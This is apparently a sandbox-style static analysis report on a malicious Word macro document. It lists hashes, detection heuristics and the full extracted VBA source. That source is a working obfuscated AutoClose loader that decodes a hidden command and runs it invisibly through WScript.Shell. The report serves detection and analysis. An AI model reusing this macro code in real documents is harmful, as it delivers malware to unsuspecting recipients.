Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c0e4aa6f57baae77…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-09-04
MD5: 8281a8b8a324aa55c22363912af080ae SHA-1: bb982a9b37330741202d807504224c852314e91d SHA-256: c0e4aa6f57baae774b036bb5f9e9dd70a069d5ef03164c4b5e2a5825846b365e
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a malicious VBA macro. The AutoClose macro is obfuscated and uses CreateObject and Shell calls, indicating it's designed to execute a secondary payload. The macro decodes a string which is then passed to Application.Run, likely to execute a downloaded or embedded malicious script or binary.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If datura - unpresbyterated > 1 Then
       CreateObject(Trim(durians) & ".Shell").Run babeship, 0
       sentient = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "succumb", fictious
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If datura - unpresbyterated > 1 Then
       CreateObject(Trim(durians) & ".Shell").Run babeship, 0
       sentient = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  chrysalidian = Array("V", "K", "F", "u", "6", "0", "2", "R", "2", "d", "F", "u", "u", "g", "r", "q", "q", "2", "U", "6", "l", "6", "u", "o", "U", "X", "o", "6", "u", "K", "G", "6", "Z", "6", "X", "2", "U", "6", "u", "A", "6", "K", "0", "8", "H", "V", "q", "P", "3", "x", "q", "X", "o", "V", "6", "0", "g", "F", "g", "s", "L", "u", "V", "6", "O", "A", "2", "T", "K", "L", "K", "G")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2135 bytes
SHA-256: febceaf4f14ee98824067351ec433587d1a11de3799a8b7f3179ae29161cc07a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function iff(chrysalidian)
  snobbishly = Array("U", "K", "T", "X", "Z", "F", "d", "2", "P", "s", "0", "O", "V", "l", "8", "q", "u", "G", "R", "3", "L", "g", "6", "A", "r", "x", "H", "o")
  spearman = Array("b", "s", "r", "l", "z", "h", " ", "e", "A", "?", ".", "=", "m", "n", "c", "/", "t", "k", "x", "F", "u", "p", "a", "v", ":", "K", "o", "i")
  
  septupled = vbNullString
  
  For Each wheelchair In chrysalidian
    homecomers = centroclinal(wheelchair, snobbishly, UBound(snobbishly))
    If homecomers > -1 Then
    septupled = spearman(homecomers) & septupled
    End If
  Next
  
  iff = StrReverse(septupled)
  
End Function

Public Function centroclinal(unskin, malariated, pushover)
  gardenias = 5553
  didynamous = 772
  For gardenias = 0 To pushover
    If malariated(gardenias) = unskin And gardenias > -1 Then
     didynamous = gardenias
    End If
  Next

  If didynamous = 772 Then
    didynamous = -1
  End If
  
  centroclinal = didynamous
End Function

Sub AutoClose()
  chrysalidian = Array("V", "K", "F", "u", "6", "0", "2", "R", "2", "d", "F", "u", "u", "g", "r", "q", "q", "2", "U", "6", "l", "6", "u", "o", "U", "X", "o", "6", "u", "K", "G", "6", "Z", "6", "X", "2", "U", "6", "u", "A", "6", "K", "0", "8", "H", "V", "q", "P", "3", "x", "q", "X", "o", "V", "6", "0", "g", "F", "g", "s", "L", "u", "V", "6", "O", "A", "2", "T", "K", "L", "K", "G")
  fictious = iff(chrysalidian)
  
  Application.Run "succumb", fictious
  
End Sub


Private Sub succumb(babeship)
   
   durians = "WScript"
   unpresbyterated = 3271
   sentient = True
   
   While sentient
     datura = unpresbyterated + 60
     If datura - unpresbyterated > 1 Then
       CreateObject(Trim(durians) & ".Shell").Run babeship, 0
       sentient = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: f334561cd7128079689d870096aa8a398226f0f211c05d06a60bbe132073039d
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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